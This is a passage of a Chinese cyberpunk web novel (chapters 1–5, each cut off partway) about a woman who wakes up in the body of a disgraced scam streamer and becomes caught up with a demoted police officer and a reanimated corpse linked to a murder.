《穿进赛博打击网恋诈骗》 1. 开新文咯! 《穿进赛博打击网恋诈骗》全本免费阅读 【赛博世界最大网骗——知名网红夭捺因为摔倒,超梦碎裂,暴露出真实家境和样貌!】 【天啊光看背影都觉得好丑,她怎么敢吹嘘自己是0义体天然美女的啊!】 【天然美女算什么啊,她说自己是某顶级财团的千金,哪家大小姐住在贫民窟里?天啊,那环境我看着就作呕,亏我之前还那么喜欢她。】 【早就觉得夭捺不对劲了,她直播了那么久,从来没做过室外直播,也没有粉丝说自己在在外面见过她。感情是黑客技术高超,直接修改容貌和直播场景啊。(微笑)】 【现在10万新币就能面部整容了,得有多穷,才能一直靠修改代码做直播?】 【夭捺还钱!!我真以为她是大美女,想跟她谈恋爱,给她打了不少钱,加起来好几千了!】 … 夭捺沉默了。 刚身穿过来就被恶评砸脸,是个人都会沉默。 好在她上辈子也是科技时代的人,只花了几秒钟,就摸清楚“超梦直播”是个什么玩意。 简单来说,赛博是一个科技水平程度很高的未来世界,但与夭捺的原生世界不同的是——夭捺的世界将科技点在精神领域,开发人类大脑潜力值,而这里似乎将科技点在娱乐上,不仅发明出意识上网的全息发生器,还发明了沉浸式感官播放器,也就是所谓的“超梦” 观众使用超梦,可以全感官体验视频内容,无论是吃好吃的东西,还是花钱的快感。 于是超梦的诞生,衍生出一众网络明星。 她们直播别样小众的生活,分享底层人民闻所未闻的新玩意,从而得到大众知名度。 一如现在,夭捺正在观看的超梦直播间这样。 只不过这位主播似乎过分倒霉了一些,她拥有高超的黑客技术,修改面部代码和背景直播,带着大家体验白富美的生活,却在直播间中一不小心摔坏超梦眼镜,曝光真实面目和家境,引起粉丝反扑群攻。 夭捺发出啧啧两声,顺手点开直播间回放,想要看看这位倒霉主播长什么样。 等她看清回放里的脸后,这才意识到事情大条——靠,这个倒霉主播不仅和她名字相同,还和她有着一样的脸! 不,准确来说,是这个倒霉主播修改代码后的脸,和她一模一样! 得有多巧合,才能在不认识彼此的情况下,修出另一个世界里一模一样的夭捺? 夭捺不确定这件事的概率有多小,她只知道,她现在麻烦大了。因为刚刚她戴上超梦眼镜,直播间粉丝看见她的真脸,以为她还想继续弄虚作假骗人,叫骂声越演越烈。 刚刚在弹幕里让夭捺还钱的人,好像还是一位有些财力的公子哥。 他见夭捺一直不说话,气急上头,竟然开高价找人人肉夭捺,还将她的所在地址发出来了。 【ip地址都有了,等着我们上门寻仇吧,红灯区的臭婊子!】 这条弹幕一出,夭捺二话不说,直接关掉了直播间,完全没有要解释的意思。 ——关她p事,她穿越过来又不是给原主擦屁股的。 … 叮咚。 警察系统爱丽丝发出提示音:“收到一起有关“网恋诈骗”的网络报案,请警员尽快处理。” 这封邮件几经转载,在短短数秒内进入【警员止役】的系统里。 他刚站起来,就迎来无数人的注目,还有窃窃私语的讨论声。 “就是他。今天刚从重案组下放到网络安全部的警察,止役。” “我知道他!他可是警察大学第一名进总局的人,得犯多大的错,才被连降那么多级啊?” “谁知道呢?”低声讨论的同事向止役投去同情的目光,“进了网络安全部,这辈子就毁了,虚拟网络能发生什么杀人事件,只能干一些捉奸抓淫的工作…” 说到捉奸抓淫的时候,说话人忽然感觉一道黑影投在他脸上,他预感不妙,小心翼翼转头,就看到止役举着枪,枪口毫不分说抵在他的太阳穴上。 “你想知道我为什么从重案组下放到网络安全部吗?”止役给手枪开了膛,发出咔嚓声,“因为我在执案过程中杀了同事,这个回答你满意吗?” 刚刚还在说人小话的同事浑身颤抖,狠狠点了点头,生怕止役在警局内就杀了他。 见对方安分了,止役才把枪收回来,缓缓走向悬浮警车停靠的方向,背影如猛兽一般独行。刚坐进警车,他一个拳头打向控制盘,自动驾驶晶体破碎后又重组,这样连续打了好几拳,因为被降职而郁结的心情才得到舒缓。 止役自己也知道,进了网络安全部,警员生涯就算是毁了,过去他接的都是“击杀凶手”,“追捕正在越狱的通缉犯”等等艰险的任务,可现在… 止役翻了一下手里的档案,网恋诈骗的假网红,这算怎么个事啊! 这么小的事情非得报警吗? 说是这么说,止役还是抓起手枪,驱动悬浮警车,前往嫌疑人地址。 … 警察已经锁定夭捺,她却浑然不知,正戴着原主的全息发生器,浏览这个世界的网络信息。 这个世界比夭捺想象的还要复杂,先不说长远,先说眼前的问题:浏览网络需要实名登录,进入虚拟空间需要虹膜认证,付钱需要先确定脑波频率,短信叫车注册都需要身份认证! 原主大概是抱着“做戏要做全套”的心理,用代码修改后的脸,注册了当下所有媒体账号。而这张脸的注册信息几乎和夭捺本人一模一样,包括姓名、虹膜,脑波等一众细节。 巧得令人心慌。 这也意味着,如果夭捺不顶替原主的身份,她压根没办法在赛博生活… “真麻烦。” 夭捺关闭全息发生器,结束对这个世界的探寻。 如果原主的身份完美,她借用一下也不吃亏,偏偏原主是一个正经历全网嘲的翻车网红,用起来怎么那么不得劲? “咔嚓。”细小的声音从楼道传来。 夭捺敏锐察觉,这声脚步是冲着她来的,于是一个转身躲了起来。 她刚藏起来,止役就像做平常逮捕连环杀手那样,下意识举着枪一脚踹开房门,发出巨响。 可踹门后,他就意识到不对了。 哦,不对,他已经被降职,不再是重案组的专员了,逮捕的也不是穷凶恶极的连环杀手,而是一个靠网恋骗钱的超梦网红。 处理这样的案件不需要开枪,更不需要踹门。 止役垂眸去看房间的垃圾装潢,窗外是水泥挡板,唯一的光亮来自于天花板刺眼的光幕,眼前是一个过分脏乱的房间,半干不干的衣服随意搭在椅子上,散发出臭米袋子的味道。 视线再放远一些,地板上堆满外卖盒子,无处下脚。臭虫乱爬。 没有人? 难道人跑了? 止役放下手枪,捡起地上破碎的眼镜,却在镜面反射中与一双美丽毫无杂质的眼睛对视,下一秒,他感觉自己握枪的手被反扭,突如其然的暴动调动起他全身的警惕性。 止役朝来者开了枪。 “砰!” 止役向天花板开枪的同时,感觉自己的头发被抓住了。 从头顶传来的剧痛引导身体弯曲,他的枪口差点对准自己,热烟紧贴皮肤滑过。 与此同时,一双修长的大腿交缠在他的脖子上,用力一扭,他连人带枪摔进了外卖盒里,回过神来的时候手枪已经被夺走了。 是谁? 是之前任务的漏网之鱼,还是过去枪杀的缉拿对象家属寻仇? 止役从没怀疑过,一个超梦网红会有如此身手,只以为是过去重案组的缉拿对象伺机寻仇,他一边思索,一边飞快从膝盖抽出枪支义体,可对方的速度却比他这个警校第一名快许多。 咔哒,上膛的脆响声落幕。 冒着热气的枪口已经抵在他头上了。 “别动。” 夭捺一脚踩在止役的脑袋上,眼睛不受控制向下看。 虽然她有些震 2. 第 2 章 《穿进赛博打击网恋诈骗》全本免费阅读 在止役发现真相之前,时间足够夭捺找出原主的身份了。 她推开衣柜门。 能看得出来,原主是一个非常自卑的人,从小到大没有留下任何照片,衣服也是随便买的,款式尺码颜色层次不齐。从她留下的东西里,完全看不出她的性格。 唯一能证明她身份的东西,只有一张高中毕业证书,姓名是:闻娜。 毕业证书上的照片当然也被扣掉了。 除此之外,夭捺还找出一张通讯公司的名片,和几张逢年过节公司感谢原主辛勤工作的卡片,按照公司名字,夭捺翻遍电子邮箱,终于在一堆性骚扰邮件里找到一年前的offer。 任职岗位是…通讯女友。 顾名思义,就是给孤独老男人打电话,假装他们的女朋友,嘘寒问暖,赚取微薄的打赏。 夭捺还在全息发生器的内存里,找到原主的电话录音。声音算不上悦耳,只不过声调平淡,有一种遗世独立的清冷,所以显得很特别,很多人给她打钱。 难怪当上网红后重操旧业,骗了那么多男人的钱。夭捺摁开原主的通讯录,好家伙,通讯录里分类为备胎的名单,从一到十,按照金额大小排得整整齐齐,格式还该死的统一。 看到这里,夭捺也大概理清楚了。 也就是说,这位原主是一个只有高中文凭,毕业后一直当着通讯女友和骗钱网红的底层人,谁想到东窗事发,被全网群嘲,只能抛下一切逃跑。 真是…烂透顶的身份啊。 夭捺唏嘘,如果不是赛博个人网络发达,严抓黑户,打死她都不会用这种开局稀巴烂的身份。 将小娜的一切整理完毕后,夭捺最后才打开钱包,果然一分钱都没有。毫不奇怪。 一个想要逃跑的人,只要脑子没坏,一定会把所有钱带走。 可奇怪的是,明明原主通过通讯女友和网红的双重身份,骗了不少钱,生活水平却毫无改善,看看这冤种名单第一名,id还是非主流味十足的什么皇子,打赏金额都有上十万了。 十万,足够原主换一张和p图一模一样的义脸了,她却没有这么干。 钱都花到哪里了? 夭捺将这个疑问压在心底,她现在身无分文,连自己都自顾不暇,哪有心思琢磨原主的心思? 况且,她这张脸辨识度还那么高,没办法正儿八经打工。 看来只能重操旧业了。 …谁的旧业?当然是原主的旧业。 夭捺将视线放在这个“名为金主,实际冤种”的名单上——他们能给一个素未谋面的女人打钱,智商肯定不高,第一桶金就从他们这里入手吧。 当然,在寻找目标之前,她先点开了聊天记录,排除掉那些发现被骗后气急败坏要钱的男人——这种人爱装逼还抠门,价值低人品差,肉眼可见的难缠。 骗钱就得找那种,舍得打钱,事后也懒得追债的大方冤种。 夭捺滑动名单,就像把喜欢的食物放到最后,她将那些十万五万的沉默冤大头放在了最后。 “就你了。” 夭捺盯上了名单最后一位,最小金额的冤种——1000,圣多明戈,宋。 一位打钱后没有发垃圾信息骚扰原主,事发后也没有追着她要钱的人。 夭捺决定好目标就出门,路过十字路口的时候,她看到了熟面孔——成群结队的黑虫掠过,天空如同蒙上了一层暗色面纱,引得好几个拍照惊讶。 “这个世界怎么会有黑虫?”夭捺蹙了蹙眉,这玩意可是她们那里的战争产物,擅长精神攻击,如果她记得没错,赛博人完全没开发精神领域,碰到这玩意不得发疯? 夭捺定定看了一会儿,佯装无事挪开目光。 算了,关她屁事。 … 圣多明哥是最多未完成工厂的区域,有一个巨大的核电站,数个机器人工厂,还有蜂巢般的工人宿舍,是全赛博廉价劳动力最聚集的地方,也是污染最严重的地方。 这里的自来水是灰色的,空气也是灰色的,住在这里超过三个月就会得各种呼吸道皮肤病,所以稍微有些钱的人都不会住在这里。 一条墨黑色的人工河流贯穿整个城区,流过无数摇摇欲坠的工人宿舍。 脏兮兮的工人孩子们在河边玩耍,他们从黑水里捞起一只臭哄哄的鞋子,假装捞到了一条鱼。这是他们一生中最快乐的日子,因为成年后他们大部分都会像他们的父母那样,进入机器人工作,制作着供应上流社会的各种零部件。 这时,一个少年拖着一条贴着奠字的船,逆流而上,船上躺着一具干瘪的尸体。 一路走,一路点燃讨论。 “真可怜啊。” “怎么就死了,明明宋临都考上赛博科技大学,成为我们这里唯一的大学生,马上就享福了。” “宋家福薄…” 拖着死人的少年宋临低头,一滴不知道是汗水还是眼泪,落在黑色湿润的土地里,转瞬即逝。 等夭捺找到备注上的地址,才发现现实与她的想象有差别——这位冤大头居然住在贫民窟,住在一栋赛博世界里少见的水泥大厦里,这种毫无防御力的水泥墙居然还没被淘汰。 她按照地址走上一百六十层,又在六十扇一模一样的大门里,找到宋家,推门进去。 刚进去,夭捺就后悔了,室内气氛看起来不太像能要钱的样子。只见一个皮肤略黑的少年,站在巨大的黑色奠字跟前,肤色几乎要融进奠字里。 他转过身来,被他挡住的尸体才露出来,是一个黑黑瘦瘦的老头。 宋临看到夭捺的脸后,先是愣了一下,随后狠狠蹙起眉头,拿出非常老旧的通讯器开始打字。 他走过来,将画面展示给夭捺。 ——你居然敢出现在这里? 什么鬼?难道这位宋冤大头是哑巴? 夭捺挑了挑眉,没有说话,对方看她没有反应,又将通讯器拿回来,重新打了一行字。 ——你杀了人,怎么好意思到这里? 宋临的话让夭捺诧异,什么鬼,难道原主人品低劣到动手杀人了? 可能是她脸上迷惑的表情太明显,宋临又在通讯器上打字,气得双手连带着机器都在狂抖。 ——你别装傻,我都知道了。你骗我爸爸给你打赏,害他自杀。 看到这里,夭捺才终于看明白——感情给她打一千块钱的冤大头不是少年,而是他的父亲啊。而且这位冤大头也不是因为大方才没有追债,纯粹是因为挂了所以没办法追债。 意识到这点后,夭捺已经想走了。 因为她注意到,附近已经有人发现她,认出她,将镜头对准他们这边偷偷拍照。 “关我什么事,是你父亲主动给我打赏的。”夭捺非常不喜欢这种行为,他父亲又不是小孩子,自己没能控制好情绪冲动,打了钱,事后怪到别人身上。 宋临听到夭捺的话后,气得眼睛都红了,偏偏不会说话。 他继续打字。这次打字的速度很快,时间也很长。 ——人死后上传记忆和身份信息,需要给政府缴纳一千元的手续费,可我拿不出这一千元,你拿着这样的钱,难道不觉得羞愧吗? 死后上传记忆和身份信息 3. 第 3 章 《穿进赛博打击网恋诈骗》全本免费阅读 另一边,圣多明哥。 夭捺走后,缅怀仪式变得十分简单,参加葬礼的宾客见没有晚饭便毫无留恋地离开,只有少年独自坐在家中,心里怀揣着心事。 ——难道我爸没死? 夭捺的话在宋临心中扎根,让他忍不住回忆,再回忆。 他看向四周,这是他与父亲住了十八年的房子,和想象中因为贫瘠所以空空如也不同,逼仄的房子里,放满了这些年攒下来的家当,所以显得满满当当的。 可仔细一看,就会发现,大部分东西都被老头细心地修补好过,缝缝补补用了好多年。 他们没有照片,因为没有可以阅读动态照片的义眼,好在这些年宋临获得不少奖状,点击奖状上的姓名就可以浏览当时获奖视频,算是唯一的纪念。 可老头就没那么幸运了,他们连上传数据的钱都没有,他死后就真的什么都没有了。 如果父亲真的没死…宋临走到老头尸体旁边,深深凝视着他,不知道心里想些什么。 尸体当然毫无动静。 “咚咚咚!”房门传来粗暴的敲门声,用力得蜂巢上下三层楼都在抖,把宋临吓了一跳。 他连忙去开门,只见一个眉眼深邃,俨然混血的高个男人站在门外,他的神色严肃,黑色紧身作战服包裹着他强壮有力的躯干…手里居然拿着一把手枪! 宋临第一反应高举双手,穷人总有规避风险的第六感。 “警察。夭捺人呢?” 止役知道夭捺的身手还不错,所以还没进门,就把武器掏出来了,做足准备却被告知——他来晚了,夭捺早在十分钟前就离开了。 该死,错过了! 止役暗暗骂了自己一句。 临离开前,他警告宋临:“那女人就是一个骗子,无论她说什么,你都不要相信。” 宋临点头,目送止役离开。 虽然他不知道,夭捺是怎么得罪这位看起来就睚眦必报的警察,但他的话点醒了宋临,是啊,他为什么要因为夭捺的话而动摇? 她就是一个臭名昭著的网红,连老年人的钱都骗,她说的话能有几分真实性? 果然是病急乱投医。 宋临无奈轻叹一声。 眼看着时间已经很晚了,他离开时顺手反锁房门,关闭灯光,准备回房间睡觉。 可当他行走在黑暗中,经过简易灵堂的时候,余光却扫到一个站在窗前的黑色人影。 等等… 家里明明只有一个活人一具尸体,为什么会有第三个人影站在房间里? 宋临前进的脚步停下,慢慢朝灵堂内望去,那是一个瘦小扭曲的人影,站在因为城市霓虹光反射而发亮的窗前,所有的关节都维持着古怪的角度,胳膊肘甚至是朝外拐过去的。 看起来好像是…他爸爸跳楼后扭曲的死状。 宋临干咽了一口口水,右手抬起,缓缓做了一个开灯的手势。 “兹兹!”灵堂微弱的灯光亮起,刚刚还站在窗前的人影瞬间消失,仿佛一切只是幻觉。 什么情况?难道因为一直想着夭捺的话,所以产生幻觉了吗?宋临下意识朝灵堂走去,视线落在放着尸体的祭台上。 用来盖尸体的白布还在原处,白布下的尸体却消失不见了! 宋临大惊失色,当即上前一把掀开白布,却只看到黑色未知的粘稠物残留。 尸体去哪了?难道是刚刚的人影,偷走父亲的尸体吗? “呼哈。”一声鼻息在耳后响起。宋临的鸡皮疙瘩一瞬间全冒出了——由于不能说话,他的听力比任何感官更加突出,甚至能通过声音大小,判断出发声者在什么地方。 譬如现在,他就听出…这声鼻息的主人,此时此刻正站在他的后面。 而且是整个人靠在他身上那样的近。只要对方愿意,随时可以一口咬住宋临的脖颈,用牙齿扎穿他脆弱的动脉。 过分湿润刺鼻的血腥味覆盖在皮肤上,从身后宛如拥抱包裹着他,那人站在他后面说:“小临…我…好苦恼…你…能不能…听我…说说话?” 宋临终于认出声音的主人,惊悚又不可置信地向后看去。 只见他那早已死去的父亲站在那,铁皮刮得七零八碎的身体伤痕交错,露出森森白骨,因为站起来的压力,切口处迸射出浓黑色残余的血浆。 “噗嗤。”一道浓稠得好像固体的积血喷出来,射在宋临眼睛上,酸涩得不像话。 ——你有什么烦恼? 宋临强忍着害怕,给不识字的父亲比划着手语。 也是因为对方是自己深爱的老父亲,他才能维持仅有的理智,不至于当场晕倒。 宋临也不确定,老头那几乎被搅碎的大脑,还能不能看懂手语。 比划完后,脸色苍白的宋老头缓慢眨了一下眼睛,周身弥漫着馊馊的味道,没有回答。 宋临的目光缓缓向下,正好看到他那被铁皮削掉的肚子,开膛破肚向外冒出肠子内脏,黄白色的组织物受到重力的影响,开始粘稠地向下流动。 “这都…几点…了,你…还没…吃饭吗?”老头转身朝厨房走过去,好像是要做饭。 太奇怪了,他明明是一副死了的模样,却好像活人那样开火做饭,手指戳在电炉上,指甲连带半截手指都软趴趴地掉了下来。 他似乎被指头的异样弄懵了,有些发怔地看着自己的手指。 宋临连忙上前,比划道:我已经吃过饭了,你忘记你还在生病吗,赶紧回房间休息吧。 他想让老头先回房间,然后再打电话找专家过来,看看现在是什么情况? “我生病了?”老头露出诧异的表情,低头看向自己千疮百孔的身体。 他将手指戳进身体某个被钢管穿透的洞里,搅动了一下,竟然发出咕噜噜的粘稠声音,再将手指拿出来时,手指上站着破碎的血肉, 这一幕似乎提醒了老头,他这才意识到:他好像不太一样。 “我想起了…我要去…上班…” 什么鬼,都这个样子还要上班吗?宋临想要阻止老头,却又怕粗暴推搡会伤害到他,于是只能眼睁睁看着老头推门离开,一转眼就不知道跑到哪里去了。 对了,电话。 他得先向外求助,让人保护他父亲才行! 宋临没有像大部分人那样在太阳穴植入通讯芯片,而是像老古董那样用口袋通讯器,他拨打市中心电话,眼前立刻出现手语的服务人员投影:“你好,这里是塞尔维思第一医院,请问有什么可以帮助你?” ——死去一天的父亲忽然复活了,请你们派车过来,带他去医院。 宋临担心父亲,心急如焚,手语比得飞快,却无法将这种紧张的情绪传达给人工智能。 “好的,已初步诊断您为视觉失调幻想症,立刻为你转接精神科医生…” 宋临:… 人工智障。 啪嗒,他直接挂断第一医院的电话,却不知道接下来该向谁求救。 除了亲眼所见的他,谁敢相信死去一天一夜的老头竟然重新站起来? 忽然,一个漂亮得好像天使下凡的身影出现在他的脑海里,宋临脑子还没反应过来,身体已经下意识打开通讯器,找出夭捺的主页了。 他和夭捺没有交换联系方式,想要找她,只能通过超梦直播间的私信页面。 可她最近正在风头,每分钟给她发辱骂信息的粉转黑数不胜数,能看到他的私信吗?宋临抱着死马当做活马医的心态,给她发了一个简短的试探信息。 ——【我是宋临。】 令宋临诧异的是,夭捺的回复像是早已准备好那样,与他的信息同时发了过来。 ——【老头复活了?果然和我猜想的一样。】 然后就没然后了。宋临看得出来,夭捺之所以回复得那么快,只是单纯想知道后续,就像无意间看到电视剧开头,好奇后续那样的无聊好奇心。 眼瞅着对方下线没 4.第 4 章 《穿进赛博打击网恋诈骗》全本免费阅读 当天晚上,陈家发现儿子彻夜未归,果断报了警。可一直到第二天清晨,警方才找到陈松伶的尸体,他就像凭空出现那样,躺在十字路口的暗角里。 因为陈家有钱,陈松伶又是陈家的独生子,于是命案一路开绿灯,从C级升到了A级,最后移交到重案组的手里。 数十辆巡逻警车包围着十字路口,展示警方的强大,但实际在工作的只有一小部分人。 法医将数据扫描芯片植入陈松伶的尸体,再根据伤势,用人工智能推演她的遇害过程,最后移交全息发生器,生出一段百分百真实的虚拟影像。 于是无论是现场取景的警察,还是陈松伶的父母,都看到这个清秀的男孩瞪圆眼睛,泪水横流不断求饶,最后被一把西瓜刀活生生戳成筛子。 在网络世界发达的赛博,数据推算精准得可怕,譬如芯片捕捉到陈松伶肩膀上的抓痕,于是虚拟影片中的陈松伶也被高高抓起来,西瓜刀由下向上做着无规律的抽、插动作。 陈松伶的妈妈心都要碎了,冲过去抱住她可怜的儿子,却只抓散了一团数据。 法医见状默哀道:“致命伤是脖子大动脉…” “那岂不是第二十多刀?”陈松伶的父亲手都颤抖,他是大学教授,记忆力比较好,回忆刚刚看到的虚拟视频,第一刀第二刀一直到二十刀都是落在手臂,双腿和胸膛肚子,大概是陈松伶不断求饶,哭得实在太凄惨了,才被凶手一刀切开脖子。 也就是说,前二十刀陈松伶都是清醒状态,疼得彻骨,一直到致命伤才彻底死去。 这让陈家父母如何受得了?毫无形象地嚎啕大哭过后,他们开始咬牙切齿辱骂凶手:“不管花多少钱,都要找到杀害我儿子的罪魁祸首!” “找到了!” 话音刚落,就有警察带着监控上门,那是高中附近的巡逻机器人,正好拍到案发现场。 很快,陈松伶的虚拟影像被替换,犹如打开了一段第三视角的视频。 只见她惊恐地看向十字路口,一步步后退,紧接着,一个老头慢腾腾从角落里走出来,随着他步步紧逼的动作,身材脸部逐渐暴露在光亮的地方。 “啊!”陈松伶被吓退几步,转身离开十字路口,也跑出了机器人的监控范围。 老头回头望了一眼,然后追着陈松伶的脚步,同样离开了监控范围。 “这是杀人凶手吗?!”陈母看着那位仿佛可以当她爸爸的老头,恨得眼眶都是通红的,“他追着松伶过去,一定是去杀他的,你们快去捉他!” 老头回头望的那一眼,正好被巡逻机器人捕捉到正面。如今是身份系统严谨的时代,不出五分钟,老头的姓名地址过往都会被找到。 更何况监控拍到了老头与陈松伶同框的画面,他是最大的嫌疑人。 可问题是… 警察调出老头的身份数据后,脸色顿时变得很难看:“两天前,这老头就申告死亡了…” 怎么可能?! 一个早已死去的人,死而复生跑出来杀人吗?这是可能发生的事情吗? 是的,他们宁愿相信死而复生,也不会怀疑市民身份系统,一个身份想要申报死亡,首先必须先经过生命仪器的扫描。 生命仪器是一种辐射工具,就算检测对象是假死,也会被强大的辐射穿透,当场死亡。 资料显示,宋老头通过生命仪器的检测,百分百死亡,可如今怎么会出现在命案现场? 不知道是巧合还是什么,陈松伶的死状与宋老头几乎一模一样。 同样都是被切割得千疮百孔,残破的身体连内脏都兜不住,从□□里挤了出来。 尸体死而复生后,将他见到的所有人都害成他这样?这可是恐怖片才会出现的桥段。 现场警察们面面相觑,陈松伶的父母又急着制裁杀人凶手,不断催促。就在这时候,不远处传来阻止的声音,还有动手推搡的吵闹声。 “止役,看在一场同事的份上,你别让我难做。”警戒红外线外的几位警察苦苦哀求,他们的后背几乎要碰到激光红外线了,在高达百度的炙热温度外反复试探。 “我什么都不做,你让我进去看看。”止役朝十字路口张望:“我听说这里有凶杀案,而且尸体残缺程度很高,可能是蓄意复仇…” “这也不关你事啊,你已经不是重案组,而是网络安全部了。” 同事都快无语了,换做其他人,他们可不会这么好脾气地规劝,直接上手压制了。 可止役是出了名的“一根筋”,明明是正义的警察,为达目的也不介意使用一些暴力,而且身手该死的还不错,同事几乎都不是他的对手。 吵闹声将组长吸引过来,他看到止役后气不打一处来,直接将手里的档案砸到他身上:“止役,趁我好好说话之前,滚回网络安全部去,这不是你能插手的案件。” “就是啊。”止役昔日的平级同事也在阴阳他:“一个网络安全部的警察,能有什么用,还是快点回去抓你的网骗吧…” 可恶。 止役瞪着他们,视线落在他们右眼正在发红光的摄像芯片,那是执案记录仪器。 不能打不能打不能打,打了可能连网络安全部都呆不住,要去后勤清洁部处理尸体了… 这样不断说服自己后,止役才勉强忍下揍人的冲动,转身离开。 离开的时候,昔日同事的风凉话还不肯停,跟风一起灌进他的耳朵里。 “所以说态度很重要,第一名又如何,还不是去当网管了。”组长拍了拍空空如也的手,忽然意识到:“等等,嫌疑人的资料呢?” 此时此刻,假意离开的止役正带着这份刚刚砸在他身上的档案,迅速回到网络安全部,开始搜索宋老头的信息。 “死而复生?”止役也意识到这个不可思议却真实存在的事实,大受震撼。 网络安全部没有重案组那么高权限,可以调出宋老头的身份信息,于是只能另辟蹊径,搜索对方在互联网的痕迹,或许可以找到线索。 痕迹很少。 在这个网络发达的时代里,宋老头简直是一股清流,五十年的人生从未进入虚拟空间,也没有全息发生器的浏览记录,而他在互联网上最后的痕迹,竟然是… “夭捺的直播间?” 看到这个熟悉的名字后,止役愣了一下,心想夭捺怎么无处不在。 而且再回过头一想,他这才意识到:夭捺昨天大闹的葬礼,居然就是宋老头的葬礼? 怎么会有这么巧的事情——老头给夭捺打赏,夭捺大闹了他的葬礼,他死而复生杀人。 按照时间顺序,夭捺无处不在,仿佛是因为她,老头才会变异。 “噌!”止役猛地从椅子上站起来。 动静之大,将同事吓了一跳,愣愣地问了一句:“你去哪里?” 止役回头看向他网络安全部的新同事,桌面一溜的网红女主播,身上还穿着应援服,网络宅男味冲得很,这就是大家对网络安全部的印象。 而他止役,现在就呆在这个宅男群体里,挣扎沉浮,他绝不允许! “去抓凶手。”止役丢下这句不应该在网络安全部出现的话,再次朝夭捺家驶去。 另一边,海伍德丽景区出了名的红灯区里。 穿越才第二天的夭捺,已经学会用外置通讯器联系最近的家政公司,派遣家政机器人了。 机器人花 5.第 5 章 《穿进赛博打击网恋诈骗》全本免费阅读 夭捺没有说,从昨天晚上那通电话开始,她就已经猜到宋临要来找她了。 毕竟宋老头会复活,是因为他们世界的污染物啊,没有比她更了解她的原生世界的人。 “说回正事吧。你爸离开前有说自己去做什么吗?”夭捺强行转移话题。 宋临仔细回想,这几个小时发生的事情太魔幻,昨天的事情仿佛一年前那样遥远陌生,“…他说他要去上班!” 对啊,他怎么忘记爸爸说过的话。 宋老头是附近机器人工厂的员工,从十几岁少年时期开始,在那里上了四十多年的班,如果他说他要去上班,大概率就是去那个地方。 宋临立刻给机器人工厂打电话,却被告知:“不好意思,您的父亲并没有来我们工厂里,而且从三个月前开始,我们就把人类员工全裁了,现在统一都是机器人坐流水线。” 什么? 宋临从不知道,他的父亲三个月前被裁了,怎么从来没告诉过他? 工厂的前台电话没有手语服务者,再加上宋临着急,手忙脚乱,对方听不懂他的意思。 夭捺接过宋临的通讯器,慢悠悠地说:“所以你们这是恶意劝退大龄员工,又不给赔偿吗?” 话筒对面的前台小姐笑了一下,说:“这里是赛博,无论去哪,大家都是这样。” 像宋老头这样没有学历成绩的人,当初为了入职养活自己,就自愿放弃了员工保障,在圣多明哥,多的是宋老头这种年纪大了,被机器人顶替岗位还没有赔偿的情况。 看来,工厂这边是没有线索了。宋临挂断电话,表情郁闷。 “还有其他地方吗?”夭捺反问。 他看看,宋临手上还持有宋老头的通讯器,也多亏了他们没钱做通讯芯片植入手术,他才有机会看到宋老头通讯器上的内容。 一打开信息列表,第一条就是老头发给宋临的信息:【记得吃饭。】 温情满满。如果发布时间不是宋老头自杀前的话。 光是想到老父亲站在楼顶,光脚跳下去的前一刻,还在想着宝贝儿子有没有好好吃饭,嘱咐他记得吃饭,宋临便开始眼眶湿润了。 他继续往下看。 后面几乎是宋老头发信息询问附近的工厂老板,需不需要人类员工,他有四十多年的流水线做工经验,可毫不意外都没有回复。 满屏都是父亲语气卑微的询问,要价甚至只有其他人类员工的三分之一。 宋临看不下去了。本以为父亲突然去世已经够难受了,乍一眼看到他生前艰难的生活,未来也不再有回报的机会,他的心头闷得慌,酸涩潮涌般袭来,忍得鼻头通红。 这时,夭捺突然伸出手,朝宋临身上探来。 就在宋临误以为夭捺要给他拥抱安慰,正准备拒绝的时候,夭捺一手抓住宋临的领口,将他扯到自己面前。 欸? 精致到极点的五官占据宋临全部的视野,他下意识向后一靠。 视野能容纳的范围变大,正好看到了夭捺好玩忍笑的神色。真特么让人不安。 下一秒,夭捺的房门被踹飞,发出“砰!”的一声巨响。一个气势汹汹的人影冲了进来。 宋临挡在夭捺面前,感觉自己的后背被热乎乎的枪口戳着——靠,夭捺不是要安慰他,而是要抓他来挡枪啊! 怎么会有这么冷血的女人?! 同时,宋临也认出闯入者的身份了,连忙举起双手:别杀我,我是人质。 止役当然看出来了,却没有挪开枪口:“夭捺,把人质放下,跟我回警察局走一趟吧。” “罪名是什么?”夭捺好笑地看着止役,神情游刃有余,好像被用枪指着的人不是她:“无论是网骗还是撒谎欺骗警察,可都不是能被枪指着,带回警局的罪名。” 宋临:冷汗流下来了。 她当然游刃有余啊,枪口都快在他身上戳出胎记了! 止役闻言顿了顿,说:“罪名?疑似宋老头谋杀高中生的教唆犯,这个罪名够不够?” 什么谋杀高中生? 宋临一愣,连戳在后脊梁上的枪都顾不上了,比划道:我爸怎么可能杀人? 这次没有文字沟通,止役看不懂,所以代替回答的,是他摘下自己的外置全息发生器,狠狠砸向纯白金属墙面。 全息发生器飞快变形,笼罩在墙壁上形成全息画面。 真实感拉满。 仿佛他们正坐在车子里,隔着车窗观看现场。 “今天早上7点,警方发现死者陈*伶的尸体,正躺在她所属高中不远处的十字路口,根据监控显示,陈*伶最后见面的人是一个身份系统上标识早已死亡的53岁老人,宋某。” 记者正站在命案现场,身后是不断流泪的陈家父母,还有一地横流的血泊,已经干了。可想而知,陈松伶的死状有多凄惨。 夭捺说过的话,在宋临脑海中一闪而过,她说过:“今晚会有无辜的人因此丧命。” 宋临紧张得扣紧手心。 紧接着记者又说:“网络安全部警员止役查到,嫌疑人宋某在互联网的最后一条痕迹,是他进入知名网红夭捺的直播间,并打赏了1000元大额打赏。与此同时,案件发生前一天,夭捺也曾来过宋某的葬礼,与宋某的儿子发生冲突…” 画面一转,转到了夭捺在宋老头葬礼上的偷拍视频,画质忽然降低了。 无论视频多模糊,任谁看了视频里的女人,都会说这就是夭捺。当然是p后的夭捺。 视频截取片段还非常刁钻,一上来就是夭捺站在老头身边,笑眼吟吟地对他儿子说:“更何况,你父亲还没死呢…” 夭捺:… 谢谢,悬着的心终于死了。 现在全赛博都知道她有问题了。 夭捺看到旁边有评论键,手贱点了一下,屏幕两边忽然冒出无数弹幕,真是“弹”幕,它们不受控制地在这个房间里飞来飞去。 总的来说,讨论分成三拨人。 ——死而复生党。 【我没看错吧,意思就是:尸体死而复生后连夜杀人?卧槽我怎么感觉那么瘆得慌!】 【现在科技都那么发达了吗?】 【不可能!科技发展的前提,还有义体的诞生,不就是人体脆弱才用外物替代吗,如果人能死而复生,科技的存在将毫无意义…】 ——危言耸听党。 